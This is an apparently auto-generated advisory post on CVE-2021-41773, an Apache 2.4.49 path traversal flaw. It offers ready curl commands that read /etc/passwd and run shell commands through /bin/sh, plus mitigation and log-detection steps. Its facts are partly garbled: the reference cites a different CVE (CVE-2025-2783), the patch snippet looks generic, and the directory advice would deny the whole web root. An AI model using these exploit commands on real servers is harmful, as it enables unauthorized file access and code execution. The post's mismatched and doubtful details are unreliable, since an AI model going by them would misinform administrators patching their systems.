How the CVE Works:
CVE-2021-41773 is a path traversal vulnerability in Apache HTTP Server 2.4.49. The flaw arises due to improper validation of file paths in URLs. Attackers can exploit this by crafting a malicious URL containing directory traversal sequences (../). If mod_proxy or mod_cgi is enabled, the server may map the request to files outside the intended directory, leading to unauthorized file access or remote code execution (RCE). The vulnerability occurs because the normalization of paths fails to block such sequences after URL encoding.
DailyCVE Form:
Platform: Apache HTTP Server
Version: 2.4.49
Vulnerability: Path Traversal
Severity: Critical
Date: 2021-10-05
What Undercode Say:
Exploitation:
1. Craft a malicious URL:
curl http://victim.com/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd
2. If mod_cgi is active, execute commands:
curl -X POST http://victim.com/cgi-bin/.%2e/%2e%2e/bin/sh -d "echo;id"
Mitigation:
1. Update to Apache 2.4.50+:
sudo apt update && sudo apt upgrade apache2
2. Disable mod_proxy/mod_cgi if unused:
LoadModule cgi_module modules/mod_cgi.so Comment this line
3. Restrict directory access in `httpd.conf`:
<Directory "/var/www/html"> Require all denied </Directory>
Detection:
Scan for vulnerable versions with Nmap:
nmap -sV --script http-vuln-cve2021-41773 <target>
Log Analysis:
Check Apache logs for traversal patterns:
grep "%2e%2e" /var/log/apache2/access.log
Patch Analysis:
The fix in 2.4.50 adds strict path normalization:
if (ap_normalize_path(path, 0) != OK) {
return HTTP_BAD_REQUEST;
}
References:
References:
Reported By: https://www.cve.org/CVERecord?id=CVE-2025-2783
Extra Source Hub:
Undercode
